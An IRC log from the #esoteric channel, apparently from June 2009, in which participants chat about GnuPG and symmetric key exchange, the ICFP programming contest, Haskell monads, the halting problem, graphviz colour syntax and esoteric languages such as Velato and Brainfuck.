18:26:41 <ehird> GregorR-L: what did directnet use to encrypt?
18:26:50 <pikhq> ehird: And not pipes?
18:27:17 <ehird> pikhq: unfortunately, the unix platonic ideal doesn't help me get shit done when i want to gnupg up some stuff in haskell :P
18:27:22 <pikhq> The thing is, GnuPG is written in such a way that creating a library for it is a bitch.
18:27:25 <ehird> but not as I'd like
18:27:34 <ehird> pikhq: i.e. "badly"
18:28:06 <pikhq> Which is why the GnuPG library communicates with GPG via a pipe.
18:28:31 <GregorR-L> It used GPG optionally for authentication, AES for keys, and ... I forget what for the initial key exchange :P
18:29:01 <ehird> Why does the public key exchange need to be encrypted?
18:29:12 -!- inurinternet has joined.
18:29:16 <ehird> also, so you basically just give it to openssl?
18:29:48 <GregorR-L> I didn't use OpenSSL, but yeah. And the PUBLIC key exchange is not encrypted, the SYMMETRIC key exchange is.
18:30:11 <ehird> GregorR-L: You wrote your own aes? :P
18:30:15 <ehird> Also, why does it use symmetric keys
18:30:19 <GregorR-L> No. There are other implementations out there.
18:30:40 <GregorR-L> Why does it use symmetric keys ...? Uh, I'm just gonna go with "because"
18:30:59 <ehird> Symmetric keys suck yo :P
18:31:01 <GregorR-L> Its a bit silly, really, since the independent messages are just that, and really asymmetric encryption is fast enough for this now.
18:31:37 <ehird> GregorR-L: Did you write DirectNet in the days where everyone used 400mhz x86s and talked over fibre-optic?
18:31:37 <GregorR-L> But there are some small concerns of overusing any given key, so it's better to establish a temporary symmetric key session, thereby only using your private key for the encryption of one (random) sequence.
18:31:53 <ehird> I can't imagine asymmetric encryption ever being slow enough that it dwarfs network lag...
18:32:05 <ehird> Also, gpg emailers use the same key for everything for years. :P
18:33:15 <pikhq> GPG itself asymmetrically encrypts a session key.
18:33:20 <GregorR-L> GPG messages are an encrypted symmetric key, followed by the message --- yeah.
18:33:34 <GregorR-L> The message is encrypted with a temporary symmetric key.
18:33:59 <ehird> I don't actually know all that much about gpg's actual encryption methods :p.
18:34:05 <ehird> But yes, I am an idiot.
18:34:46 <ehird> gpg's solution would work if you s/encrypted symm/encrypted asymm/ and used it for the whole chat.
18:35:59 <pikhq> Might as well use AES, though. Easier to work with.
18:36:49 <ehird> AnMaster: Lovely Haskell bindings, bitch.
18:37:23 <ehird> One issue for channels/group conversations is that someone could make their client not encrypt to $participant thus causing haywire. But I guess I could just reject said messages and make it consider the sender kicked out.
18:47:21 <ehird> http://vimeo.com/4353898?pg=embed&sec=
18:56:16 <ehird> ais523: four minutes to go
18:59:04 <ehird> no, nope. time has passed since then :P
18:59:20 <ais523> I just nipped off to get dinner
18:59:22 <ais523> and came back just in time
18:59:25 <ehird> although you could mean 'yep when you said it'
18:59:35 <ehird> ais523: write it in agda
18:59:47 <ehird> it's like haskell without decent libraries and with dependent types!
19:00:02 <ehird> and icfpcontest.org slooooooooooooooooooooows doooooooown.
19:00:36 <ais523> yep, waiting for it to load now
19:00:51 * ehird yaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaawwwwwwwwwwwnnnnnnnnsssssssssssssssss.
19:00:56 * ehird yawns IRL due to saying yawn.
19:01:05 <ehird> ais523: you are now yawning.
19:01:17 <ehird> also breathing manually.
19:01:28 <ehird> you're like superman. superyawningandbreathingman.
19:04:19 <ehird> ais523: fancy design!
19:04:25 <ehird> It's all red and stuff.
19:04:36 <ehird> "The contest will run from Friday 26 to Monday 29 June, 2009. This web page will contain the problem statement, and other instructions."
19:04:40 <ehird> Uhh... no it doesn't.
19:04:41 <ais523> I'm reading the task description, someone posted it on a mirror
19:04:42 <ehird> Wait, yes it does.
19:04:47 <ehird> "Quit rattling your packages and put them back under the tree. It hasn't started yet."
19:05:14 <ehird> ais523: how can they have? The link does not work.
19:05:21 <ehird> <a class='nav' href="javascript:alert('Quit rattling your packages and put them back under the tree. It hasn\'t started yet.');">Specifications</a> <a class="nav" href="http://icfpcontest.org/faq.php">FAQs</a>
19:05:30 <ais523> could have been the people in charge who put them up
19:05:35 <ais523> you did allow for the :16, right?
19:05:44 <ehird> ais523: It has been 5 minutes.
19:05:50 <ehird> ais523: Anyway, link?
19:05:52 <ais523> also, no INTERCAL for me this year
19:05:54 <ais523> ehird: see the IRC channel
19:06:12 <ais523> I'm disappointed you don't know that off by heart
19:07:05 <ehird> ais523: It is not in the topic.
19:07:10 <ais523> hmm... their VM reminds me of Malbolge
19:07:13 <ehird> Do you want me to ask? Why couldn't you have just linked me?
19:07:17 <ais523> but people are posting it every 10 seconds or so
19:07:39 <ehird> So... you can't copy-paste. Okay..
19:07:58 <ehird> ais523: Why no INTERCAL/
19:08:08 <ais523> this thing is full of double-precision floats
19:08:33 <ehird> So, uh... link please?
19:08:58 <ais523> ugh, my copy-and-paste's stopped working
19:09:02 <ais523> http://files.getdropbox.com/u/95516/icfp.pdf
19:09:37 <ais523> ok, this reminds me of an esolang
19:09:45 <ais523> there are all sorts of arbitrary restrictions and weirdnesses for no reason
19:09:59 <ehird> Reminds me of http://www.boundvariable.org/.
19:10:02 <ehird> ais523: no, the whole thing
19:10:13 <ehird> it's basically the 2006 one, http://www.boundvariable.org/ + some minor changes
19:10:30 <ais523> not really, as they don't even have a massive program to run
19:10:43 <ais523> boundvariable was great; this one seems less so
19:10:50 <ais523> they have a VM, but you have to write programs for it
19:10:52 <ais523> as well as implement it
19:11:00 <ehird> what exactly is the challenge here?
19:11:07 <ehird> it seems very boring, not exactly challenging
19:11:17 <ehird> i'm just falling asleep every other line.
19:11:23 <ehird> ais523: i don't mean, what do you have to do
19:11:26 <ehird> i mean what's the challenge in it
19:15:42 <ehird> ais523: why would I have it memorized?
19:15:48 <ehird> I've never participated and only watched once
19:15:59 <ais523> I've only participated once
19:16:03 <ais523> and you were there then
19:18:20 <ehird> 19:17 mike_a_: damn, my brother is a rocket scientist, but he's in myanmar!!
19:18:20 <ehird> 19:17 mike_a_: he knows alll about this shit
19:18:23 <ehird> Things such as basic physics!
19:19:06 <ais523> ok, this contest looks really boring
19:19:34 <ehird> Write a VM! Write some basic equations! Run some programs! And then, and then, WRITE YOUR OWN PROGRAMS!!
19:20:55 <ehird> 19:16 mike_a_: this looks insanely hard
19:21:00 <ehird> all mike_a lacks is a brain, poor thing
19:21:12 <ais523> no, it's basically writing your own programs in a trivial annoying VM that solve the three-body problem
19:21:17 <ais523> or in the last case, the 13-body problem
19:22:13 <Gracenotes> ehird, nooga: 21:41:46 <gracenotes> er, about Pascal
19:22:16 <ehird> how does that contradict what i said
19:22:26 <GregorR-L> The 13-body problem: Menage á Treize
19:24:04 <Gracenotes> I will now proceed to pronounce divers japanese phrases
19:25:48 * ais523 is on the border of deciding not to participate after all
19:26:00 <ehird> ais523: MWAHAHA! AGDA WILL WIN! or no.
19:26:28 <ehird> 19:26 diginux: http://icfpcontest.org/binaries/bin4.obf
19:26:28 <ehird> 19:26 dankna: bin4 will not be released until after the lightning round
19:26:29 <ehird> 19:26 diginux: wtf?!?!
19:26:39 <ehird> ais523: quick! wget it
19:26:42 <ehird> and sell it on the black market
19:26:47 <ais523> ehird: it's a text file
19:26:53 <ais523> containing a placeholder
19:27:14 <ehird> but reselling placeholders on the black market sounds cool to me
19:27:31 <Deewiant> Hahaha, I felt like I was in a horror movie or something just now
19:27:41 <Deewiant> A machine trying to boot keeps on printing GRUB
19:27:46 <lambdabot> ["GRUB ","GRUB ","GRUB ","GRUB ","GRUB ","GRUB ","GRUB ","GRUB ","GRUB ","G...
19:28:19 <lambdabot> "GRUB GRUB GRUB GRUB GRUB GRUB GRUB GRUB GRUB GRUB GRUB GRUB GRUB GRUB GRUB...
19:28:21 <GregorR-L> @let grubby = 'G':'R':'U':'B':' ':grubby
19:28:23 <ehird> Deewiant: Just wait until it starts hissing.
19:28:25 <Deewiant> Yeah, that's the one I was going for.
19:28:28 <lambdabot> "GRUB GRUB GRUB GRUB GRUB GRUB GRUB GRUB GRUB GRUB GRUB GRUB GRUB GRUB GRUB...
19:29:00 <ehird> Deewiant: Then... a flash of light. A crack sound. Your monitor is broken now. The computer does not turn on. You walk out the door, visibly shaken. You hear a whirring noise. The computer is on.
19:29:05 <ehird> The broken monitor starts filling with a word.
19:29:30 <ais523> that's a slightly strange behaviour
19:29:32 <ehird> You run down the corridor screaming.
19:29:37 <ehird> You see a TV in another room.
19:29:42 <Deewiant> Well, at least it stopped when I pulled the drive it was booting from
19:29:44 <ehird> The residents are sitting, relaxed.
19:29:52 <ehird> The TV is filling with "GRUB"
19:30:13 <ehird> You run around town, and all that is there is "GRUB". The people are in a trance, undisturbable from GRUB.
19:30:17 <GregorR-L> And then the grub burst out of the TV and OMG they're actual grubs nom nom
19:30:19 <ehird> Aaaand I'm out of ideas.
19:30:24 <ehird> GregorR-L: Good idea.
19:31:05 <Gracenotes> and then it turns out that everything is actually as normal, and you've become a tomato! D:
19:31:20 <Deewiant> That means everything is as normal?
19:31:29 <Gracenotes> well, except you. http://tvtropes.org/pmwiki/pmwiki.php/Main/TomatoInTheMirror
19:33:42 <Gracenotes> (yeah, I've been reading much tvtropes lately...)
19:39:05 <Gracenotes> the wasabi peas that have been sitting in my duffel bag for 2 months must be pretty bland by now
19:42:19 -!- Slereah has joined.
19:43:46 <ehird> "The wide-screen format, found in only 39.2 percent of laptops expected to ship this year, will become dominant in mid- to late 2006. It will nearly eclipse standard screen dimensions by the end of 2009, the market research firm estimates."
19:45:15 <ehird> good predictive powers.
19:46:20 <ehird> 19:45 andryk: I must create this machine? sorry, if this is stupid question....
19:55:14 -!- Slereah_ has quit (Read error: 110 (Connection timed out)).
20:01:27 <ehird> 19:58 gwern finishes reading the specs
20:01:27 <ehird> 19:58 gwern: wow, this is tough. I don't even know how to begin creating a VM
20:01:33 <ehird> why do people have trouble with this?
20:02:50 <ehird> "19" and smaller systems have 8ms or faster response rates, but I've not seen that with the bigger displays yet."
20:02:59 <ehird> You can't find less than 8ms on a >19"?
20:03:18 <ehird> 2ms 24"s are terribly common now; I doubt it was that bad two years ago...
20:04:05 <ais523> I'm not doing it this year
20:04:06 <ehird> Deewiant: Keep having forgotten it; it's shit this year.
20:04:30 <ehird> Boring. Not challenging.
20:05:52 <Deewiant> Based on a quick scan: write a VM and and then programs for it? Or wut?
20:06:23 <ehird> The VM is like a bad esolang.
20:07:15 * pikhq learns more about monads
20:07:40 -!- BeholdMyGlory has quit (Remote closed the connection).
20:07:43 <pikhq> I understand the damned things, but little things like mapM, foldM, etc. are good to know.
20:08:39 <pikhq> So.. Basically, there's a difference between understanding what a monad *is* and all the ways you can use them.
20:09:18 <Deewiant> One of them is necessary for most Haskell work, the other isn't. ;-)
20:11:46 <pikhq> Knowing what a monad is makes it much easier to actually use them.
20:12:39 * pikhq wonders how you could use monads more complex than just do {} blocks for I/O without grokking them.
20:12:57 <ais523> you can probably use Parsec without really understanding monads
20:13:04 <Deewiant> do blocks for State, Reader...
20:13:05 <ehird> pikhq: Well, not list monad.
20:13:13 <ehird> But what Deewiant said, and Parsec, and stuff.
20:13:27 <Deewiant> I'd say List is quite doable too
20:13:44 <pikhq> Mmm. Well, you could use them, I guess, but not all *that* well.
20:14:35 <ais523> if you don't know what monads do, you'd wonder why you'd use List as a monad
20:15:06 <Deewiant> You might learn it as a more convenient syntax than concatmapping all over the plac
20:15:27 * pikhq is trying to figure out monadic transformations.
20:20:16 -!- tombom has quit ("Peace and Protection 4.22.2").
20:21:05 <ehird> pikhq: They're monads that contain other monads.
20:21:11 <ehird> pikhq: e.g. StateT Integer (IO String).
20:21:25 <pikhq> It didn't take too long to figure out.
20:21:29 <ehird> pikhq: note - ListT violates the monad laws; pretend it doesn't exist.
20:21:42 <pikhq> ListT violates the monad laws? Lame.
20:21:54 <ehird> Not Monad [], but ListT yes.
20:22:58 <ehird> pikhq: http://www.haskell.org/haskellwiki/ListT_done_right; "amb has AmbT, which could be considered as 'ListT done right' (since Amb is identical to the list monad)." leads to my (old) implementation of McCarthy's amb operator, http://www.haskell.org/haskellwiki/Amb
20:23:03 <ehird> ( http://www.randomhacks.net/articles/2005/10/11/amb-operator )
20:23:15 <ehird> Which also happens to be both the list monad and a ListT done right!
20:23:18 <Deewiant> monadlib and others have the correct one (I'm fairly sure)
20:23:29 <Deewiant> Haven't tested though since I've never used ListT.
20:24:02 <pikhq> I have low opinions of 'monads' which aren't monads.
20:24:18 <ehird> Wow, my amb code is really good considering how old it is
20:24:27 <ehird> Well, a bit over a year old.
20:24:33 <ehird> So quite a bit over a year old then.
20:25:08 -!- MigoMipo has quit ("QuitIRCServerException: MigoMipo disconnected from IRC Server").
20:26:00 * pikhq wishes the type system could verify that instances of Monad followed the monad laws.
20:27:01 <ehird> pikhq: halting problem yo
20:27:26 <pikhq> I can wish for a halting oracle, can't I?
20:27:36 <pikhq> Makes everything easy!
20:29:03 <pikhq> void isPrimeH(int p){if(isPrime(p))return;else while();}
20:29:14 <pikhq> One halting oracle, and I can test primality with ease!
20:29:16 -!- Sgeo has joined.
20:29:27 <ehird> pikhq: won't necessarily be faster
20:29:51 <pikhq> ehird: Nice algorithm, though.
20:29:54 <ehird> pikhq: Based on things similar, btw, earlier today I came up with an _alternative_ proof that Halts(p) cannot exist, even if you implement it on an Oracle where p is a TM program that cannot access Halts.
20:30:07 <ehird> Let Verify(p) := Halts(if p then loop else ()).
20:30:22 <ehird> Halts must always halt and return either true or false, and be correct.
20:30:26 <ehird> Therefore, Entscheidungsproblem.
20:30:55 <pikhq> Halts itself cannot run on itself.
20:31:09 <ehird> pikhq: What's that got to do with anything?
20:31:14 <ehird> My proof does not depend on that.
20:31:21 <pikhq> Halts is running on TM+oracle, and accepts TM code...
20:31:25 <ehird> pikhq: Yes, I know.
20:31:33 <pikhq> ... Okay, I'm failing to see what your proof means, then.
20:31:34 <ehird> Let Verify(p) := Halts(if p then loop else ()).
20:31:44 <ehird> Verify(2 == 2) is obviously true, as "if 2==2 then loop".
20:31:47 <ehird> So, it seems to be id.
20:32:02 <ehird> BUT, say we feed it a program that, say, checks all twin primes.
20:32:12 <ehird> anything that involves looking at possibly infinite numbers
20:32:15 <ehird> to verify something
20:32:23 <ehird> Now, if we run it normally, we cannot tell if it will halt or just take a long time.
20:32:25 <ehird> So it's not very useful to us!
20:32:32 <ehird> But part of the definition of Halts is that it always halts.
20:32:47 <ehird> Therefore, we can do Verify(stuff), and get its truth value, even if it needs to do infinite computation, in finite time!
20:32:51 <Gracenotes> so solving the halting problem means we can solve the verification problem, but that doesn't mean there aren't other decidable ways of solving the verification problem
20:33:00 <ehird> Therefore, it solves the Entscheidungsproblem.
20:33:03 <pikhq> Why, yes. Okay, I get it now.
20:33:06 <ehird> But the Entscheidungsproblem is impossible to solve!
20:33:09 <ehird> Therefore, Halts cannot exist.
20:33:21 <ehird> Gracenotes: In 1936 and 1937, Alonzo Church and Alan Turing, respectively, published independent papers showing that it is impossible to decide algorithmically whether statements in arithmetic are true or false, and thus a general solution to the Entscheidungsproblem is impossible. This result is now known as Church's Theorem or the Church–Turing Theorem (not to be confused with the Church–Turing thesis).
20:33:37 <pikhq> This, of course, means that TM+oracle is trivially equivalent to the infinity machine.
20:33:43 <pikhq> Which is, of course, impossible.
20:33:50 <ehird> pikhq: Well, no, the infinity machine can go super fast.
20:33:57 <ehird> But this does the infinite computation bit.
20:33:58 <Gracenotes> ehird: well, you're wrong when it comes to arithmetic with naturals and +
20:34:15 <Gracenotes> but really, your proof is going the wrong way
20:34:25 <pikhq> No, the infinity machine can do an infinite number of operations in a single second.
20:34:32 <Gracenotes> btw do you have Entscheidungsproblem on tab complete? D:
20:34:36 <ehird> pikhq: it can split further
20:34:39 <ehird> Gracenotes: copy-paste :-P
20:34:49 <pikhq> Curses. It's countably infinite.
20:35:40 <pikhq> It can do an arbitrary number of operations in a second, not an infinite amount of them. That's what I meant to say.
20:36:06 <Gracenotes> so "assuming halting, arithmetic" and "assuming arithmetic, halting" are different...
20:37:42 <ehird> Anyway, I think the proof was quite good for having been thought up in about 2 minutes in the bathroom...
20:55:20 -!- BeholdMyGlory has joined.
21:01:11 -!- Judofyr has joined.
21:03:24 <AnMaster> heh, I just dumped a dependency graph... dot generated a 3412x7640 image.
21:12:15 -!- inurinternet has quit (Read error: 113 (No route to host)).
21:13:00 <AnMaster> Jun 26 22:08:53 phoenix rpc.statd[1335]: Unable to read state from '/var/lib/nfs/state': errno 0 (Success)
21:13:22 <ehird> "British Gas Business: This computer consumes around 300 watts. Click here to reveal how you can use it to save your business thousands." Uhh, you can run a decent desktop computer on like 60-90 watts...
21:13:28 <ehird> 300 isn't anything special :P
21:14:18 -!- augur_ has joined.
21:14:18 -!- augur has quit (Read error: 104 (Connection reset by peer)).
21:15:37 -!- GregorR-L has quit (Read error: 110 (Connection timed out)).
21:20:31 <ais523> I have powertop installed
21:20:51 <ais523> quite probably you can get a lot less than that
21:21:06 <ehird> ais523: less than 60 watts won't do much useful
21:21:49 <ehird> "The whole computer system consumes 1W (cpu, graphics, motherboard), which is really small compared to even Netbooks."
21:21:51 <ehird> http://www.ubergizmo.com/15/archives/2009/06/nvidia_tegra_powers_sexy_new_netbooks_provides_days_of_battery_life.html
21:21:58 <ais523> ok, that is impressive
21:22:12 <ehird> Though it's rather silly; you could get a lot more performance out of that. You don't need 25 days without charging, really.
21:22:15 <ais523> actually, all these numbers are rather large compared to what typical silicon chips use
21:22:24 <ehird> 2.5 days would be just as awesome and probably more than 10x faster.
21:22:38 <ehird> well not quite as awesome, but just as useful
21:25:06 <AnMaster> that link says it runs windows ce... hm why
21:26:03 <AnMaster> it doesn't mention what cpu architecture it is?
21:26:04 <ehird> AnMaster: The chip is very underpowered.
21:26:24 <ehird> AnMaster: It's used in e.g. the new Zune.
21:26:32 <AnMaster> I was considering arm since windows ce could run on it
21:26:32 <ehird> So not really designed for a laptop/nettop.
21:36:16 <pikhq> AnMaster: Windows CE is a saner OS than Windows itself, at least.
21:36:39 <pikhq> (not to say it's sane, *but* there's only so much insanity you can have while running on embedded systems)
21:44:32 <Warrigal> I came up with a design for a self-spinning top. What OS do you think it should use? Is there a version of Linux that can run on a microcontroller?
21:44:58 <ehird> Warrigal: use Arduino!
21:45:05 <ehird> AKA What do we know
21:49:58 <Warrigal> I don't see how "ar" represents "wha".
21:50:26 <pikhq> In some accents, "whar".
21:50:48 <ehird> Warrigal: at du we kno, then. Just make the w really soft.
21:50:55 <ehird> Wha do we know, Ar do we know, blend.
22:13:06 <AnMaster> how do you convert from html colours to something like "r=0.9 b=0.7 g=1.0".
22:13:38 <ais523> AnMaster: decode hex, divide by 255
22:13:42 <GregorR> Divide each hex byte by FF
22:13:56 <GregorR> Also, switch the second and third.
22:14:16 <pikhq> Also, enjoy your floating point colors. That should have an... Interesting gamut.
22:14:59 <AnMaster> pikhq, hahah. it is just that it seems graphviz wants that format...
22:15:17 <ehird> sounds like flakkk
22:15:27 <AnMaster> pikhq, the example shows: color=".7 .3 1.0"
22:15:48 <AnMaster> I tried to just give it html notation, but it didn't like it.
22:18:37 <ais523> AnMaster: what's that an example of/
22:19:03 <AnMaster> ais523, as I said... graphviz...
22:19:49 <AnMaster> actually the docs claims it accepts HTML notation too... wonder why that didn't work...
22:19:58 <GregorR> Uhhhh, graphviz does accept HTML notation.
22:20:02 <GregorR> I've used it plenty of times.
22:20:16 <AnMaster> context: start >>> [shape=diamond,color=# <<< 84ed76];
22:20:16 <AnMaster> Warning: error.dot:2: ambiguous "84ed" splits into two names: "84" and "ed"
22:20:17 <AnMaster> start [shape=diamond,color=#84ed76];
22:20:32 <ais523> missing quotes, I guess
22:50:14 -!- mercibeaucul has joined.
22:51:04 <ais523> are you new here? or have I just not been paying attention for the last week/month/year/
22:51:39 <ais523> quick, someone say something interesting!
22:51:53 <ais523> fungot: you're good at saying interesting things, I hope
22:51:55 <fungot> ais523: i am having a problem with tail recursion here? http://nonlogic.org/ dump/ text/ fnord i love how everything like that just remind me" of a typical " 2 keyboard revolution": you can have an even harder time porting over the awk stuff yet.
22:52:52 <ais523> what brings you here, anyway?
22:54:06 <mercibeaucul> plus, I esoteric is one of my favorite words ;)
22:54:18 <ais523> this is where we plan, write, and discuss esoteric programming languages
22:54:33 <mercibeaucul> ah, well unfortunately I have not yet learned to code
22:54:52 <ais523> it's not a bad one to start on
22:55:01 <mercibeaucul> for now, my love lies in mathematics and literature
22:55:25 <ehird> oh, hi mercibeaucul
22:55:32 <ehird> wow, someone coming to esolangs before langs? :D
22:55:41 <ehird> mercibeaucul: what sort of mathematics?
22:55:52 <ais523> apparently there's a college professor somewhere who teaches Ook! as a first language
22:56:11 <pikhq> Ook, and not Brainfuck? That's dumb.
22:56:11 <ehird> being high is very good for mathematics, just ask erdos
22:56:11 <ais523> BF-style commands, and a syntax that doesn't leave people with preconceptions
22:56:25 <pikhq> mercibeaucul: Then you'll like good programming.
22:56:35 <ehird> pikhq: Lemme guess, Haskell? ;)
22:56:39 <mercibeaucul> pikhq, the only issue I may have with programming is the fact that I'm a bit of a perfectionist
22:56:46 <ais523> Haskell is an excellent language, but awful as a first language
22:56:53 <ehird> ais523: for a mathematician? are you sure?
22:56:55 <ais523> it's good for perfectionists, though, I agree
22:57:00 <ais523> ooh, for a mathematician, maybe not
22:57:08 <pikhq> And Python is definitely a good language to start with; lets you get your brain around how programmers think while being able to do useful things.
22:57:12 <ais523> although it depends on whether it's maths as in theoretical computer science, or maths as in arithmetic
22:57:14 <ehird> i mean, even not a terribly good one, you'd still have the background
22:57:15 <mercibeaucul> ehird, I wouldn't consider myself a mathematician, but I do adore mathematics
22:57:32 <ehird> a mathematician is anyone who knows anything about mathematics modulo trivial things like arithmetic :-P
22:57:35 <pikhq> mercibeaucul: That will get you far. You have to be pretty perfectionist when programming.
22:57:48 <ais523> computers are insanely pedantic
22:57:53 <ehird> ...unless you use PHP!
22:58:04 <Warrigal> Haskell is awful as a first language?
22:58:11 <ais523> first language to learn, I mean
22:58:20 <ais523> it's pretty good as a first language to turn to to solve a problem
22:58:20 <mercibeaucul> my only problem is that I have a short attention span - so if something doesn't keep me hooked I get bored
22:58:21 <ehird> Warrigal: Before you say it was your first language, let me point out that you suck at coding <_< :-P
22:58:37 <ais523> and what, it was Warrigal's first language? really?
22:58:44 <ehird> ais523: first or second
22:58:51 <Warrigal> It wasn't even my first functional programming language.
22:58:58 <Warrigal> My first functional programming language was Unlambda.
22:59:07 <pikhq> Warrigal: In order grok Haskell, you have to grok a lot of computer science.
22:59:20 <mercibeaucul> I don't know whether I'd like to teach math or english - I am leaning towards math because I think I need to help encourage other females that math isn't just for men. I'm really sick of that mentality
22:59:24 <ehird> It's just expressions + some funky stuff.
22:59:25 <ais523> actually, my first functional lang was Unlambda too, I think
22:59:51 <ais523> but it's actually rather good for learning functional thought in, even though it's more or less completely useless as a language for achieving anything productive
22:59:53 <ehird> mercibeaucul: which makes you something like only the fourth female ever to come here since we started in 2002...
22:59:59 <pikhq> ehird: Types, monads, monoids, functors, applicative functors, functions, lists, tuples...
23:00:05 <ehird> rather heterogenous culture, this place.
23:00:15 <ais523> ehird: tbh, that's probably about the same proportion as on the internet as a hole
23:00:25 <ehird> the internet as a hole? how does that work?
23:00:26 <pikhq> Lessee, Sukoshi, mercibeaucul, and... I don't recall who else.
23:00:29 <mercibeaucul> ais- that's not true. Lots of females hang out on Myspace ;)
23:00:39 <ais523> mercibeaucul: ah, yes, we keep forgetting about places like Myspace
23:00:41 <ehird> mercibeaucul: does that count as the internet?
23:00:44 * pikhq misses Sukoshi. :/
23:00:53 <ais523> ehird: well, CADIE seemed to use Myspace
23:00:56 <ais523> or something similar, at least
23:01:07 <ais523> yes, but it was a Myspacy sort of page
23:01:07 <ehird> it was just themed to look like myspace.
23:01:47 <ais523> nor are most of the people here, I imagine
23:01:56 <mercibeaucul> a good way for the government to keep their people mindless and occupied
23:02:06 <pikhq> I hold it slightly lower than television.
23:02:23 <pikhq> Television has a couple of things that have given it merit.
23:02:30 <mercibeaucul> at least on television you can find some interesting documentaries
23:02:31 <ais523> television is good background noise for old people
23:02:39 <ais523> some of them can't live without background noise, it seems
23:02:57 <mercibeaucul> my younger sister sleeps with hannah montana playing every night
23:03:06 <pikhq> ais523: ... You mean that music in the background is background noise for people?
23:03:12 <ehird> strange, I'm young and I can't bear having just about any noise
23:03:37 <pikhq> I play a lot of music as I work on the computer.
23:03:40 <ais523> quite possibly because they are so quiet
23:03:44 <ehird> ais523: that's the first time that statement has ever been said
23:03:51 <mercibeaucul> ais - I agree. And I also can only do well on them if there is no distraction
23:04:02 <mercibeaucul> if someone is tapping their pencil it breaks my concentration
23:04:05 <ais523> ehird: incorrect, I've said it before
23:04:07 <pikhq> ehird: Oh, I rather like exams. Easiest bit of class ever.
23:04:16 <Warrigal> I don't like tests, but I like classes graded entirely on tests.
23:04:23 <pikhq> Now, *homework*, that's a pain.
23:04:52 <pikhq> "I understand the concept. Now could we move on, I don't want to do busywork."
23:05:12 <pikhq> I make exceptions for homework that involve more than just proving bare understanding.
23:05:16 <ehird> "Maan, it's like, you've got a two... and you clone it... and, it's like, you put them together so it has BOTH OF THEM... and you get a thing called 4, man..."
23:05:37 <mercibeaucul> the worst type of homework was for music theory - having to convert chords and such 100+ times
23:05:39 <pikhq> s/involve/involves/
23:05:57 <pikhq> Oh, God, music theory. So mind-numbing.
23:06:00 <ais523> here, if we have to do something more than about 10 times, we typically automate it
23:06:04 <ais523> but you can't do that with homework
23:06:12 <pikhq> Trivial, but mind-numbing.
23:06:16 <ehird> it'll just take longer
23:06:20 <ais523> I mean, you aren't allowed to
23:06:23 <ehird> unless you have great ocr and really fast handwriting
23:06:26 <ais523> and who cares if it takes longer? this is #esoteric
23:06:42 <ehird> ais523: tbh, showing you can write a program to do a given action generically is worth far more than doing it by rote
23:06:51 <pikhq> mercibeaucul: Here in programmer-land, we'd write a program that inputs chords and outputs other chords. :P
23:06:59 <ehird> pikhq: hi! welcome to a few lines ago.
23:07:11 <ais523> and here in #esoteric, we'd make it deliberately stupid
23:07:32 <pikhq> I'd write it in that programming language written in musical notation. :)
23:07:35 <ehird> "Please enter chords as nanohertz values."
23:07:45 <ais523> pikhq: there's more than one
23:07:52 <mercibeaucul> they once taught me how to make a game where it chooses numbers randomly, which was pretty useful considering we used it to determine bowl hits
23:07:59 <ehird> doesn't velato sound nicer?
23:08:09 <ehird> Velato is an esoteric programming language by User:Rottytooth, which uses MIDI files as source code. Programs in Velato, like in Fugue, are defined by the pitch and order of notes. Velato is intended to allow for flexibility in composition, so functional programs will not necessarily sound like random notes. There is a tendency for Velato programs to have jazz-like harmonies.
23:08:12 <ais523> I don't know Velato, but I think it was me who wrote the first couple of Fugue programs
23:08:40 <AnMaster> What a beautiful dependency graph... (For newcomers, this was dumped from a bf->C compiler I'm working on.) Dumped when about half of the SSA stuff is implemented (variables has not yet been renamed fully, nor are the sub-stuff inside if-blocks converted to SSA yet, that is the next step): http://rage.kuonet.org/~anmaster/tmp/depgraph.png (Be careful if you use Firefox. The image has quite large dimen
23:09:12 <ehird> mercibeaucul: Ignore everything AnMaster says, and you can be a recruit in my futile, not-entirely-serious endless war against him.
23:09:23 <ais523> AnMaster: what exactly is on that graph?
23:09:26 <ehird> (Sure is a good deal when you write it out like that, isn't it?)
23:09:26 <ais523> mostly it seems to be tuples
23:09:36 <ehird> ais523: looks like a parse tree
23:09:40 <ehird> mercibeaucul: I've pretty much said it all
23:09:42 <ais523> mercibeaucul: ehird and AnMaster both dislike each other's conversation styles
23:09:59 <ais523> oh, and if it's LostKingdom, no wonder it's so pointlessly large
23:09:59 <AnMaster> ais523, to be specific, it was dumped when an exception was thrown in the code working on converting it to SSA
23:10:19 <ehird> http://www.rottytooth.com/velatotracks/print_h_5.mid ← velato programs do indeed sound nice
23:10:22 <ais523> well, obviously, the graph fits in memory
23:10:23 <mercibeaucul> I love when the internet makes me laugh out loud.
23:10:36 <AnMaster> ais523, was rendered with graphviz then
23:10:39 <ehird> I think i've laughed at loud at something on the internet about 10 times in my life
23:10:43 <ais523> mercibeaucul: LostKingdom is one of the world's only computer games written in the internet
23:10:48 <ais523> *written in an esolang
23:10:50 <ais523> how did I manage that?
23:10:57 <pikhq> AnMaster: Sure, now you tell me.
23:10:59 <ais523> it's computer-generated, and so massively large as a result
23:11:06 <ehird> pikhq: Tell you what?
23:11:17 <AnMaster> ais523, I made my compiler dump the current graph to a dot file when it throws an exception in graph parts of the code.
23:11:20 <pikhq> AnMaster: I saw "very large" after I started loading the image.
23:11:25 <pikhq> My computer locked up for a few.
23:11:38 <ais523> mercibeaucul: if you want to; it's a text adventure, and it's very difficult
23:11:39 <AnMaster> pikhq, it works just fine in konqueror 3.5.10
23:11:42 <ais523> I've got stuck quite near the start
23:11:44 <ehird> pikhq: have you upgraded yet?
23:11:51 <ehird> ais523: LostKingdom was NOT written in an esolang.
23:11:51 <ais523> also, you'll need a pretty fast Brainfuck compiler/interpreter to be able to run it
23:11:58 <mercibeaucul> but I have a few friends that failed out of college because of them ;)
23:11:59 <ais523> ehird: well, it was compiled into one
23:12:01 <ehird> It was written in BF-BASIC, which is a perfectly palatable, if minimalist, basic.
23:12:11 <ehird> Really, not much harder than using gcc-bf...
23:12:23 <pikhq> ais523: ... No. A naive interpreter can play it well.
23:12:24 <ais523> substantially easier on the basis that gcc-bf isn't finished yet
23:12:27 <AnMaster> ais523, btw the red edges are "IO order", the green are some temp "shadowed by" stuff calculated during the conversion.
23:12:31 <pikhq> It's freaking large, not computationally intensive.
23:12:31 <ehird> mercibeaucul: wow, i've never heard of interactive fiction being described as addictive as WoW...
23:12:38 <AnMaster> blue are dummy to ensure that the start node is first
23:12:45 <ais523> pikhq: depends on /how/ naive the interp is
23:12:49 <ehird> mercibeaucul: i played 5 minutes of them and died.
23:12:53 <ais523> and whether it's O(n) in the length of the program
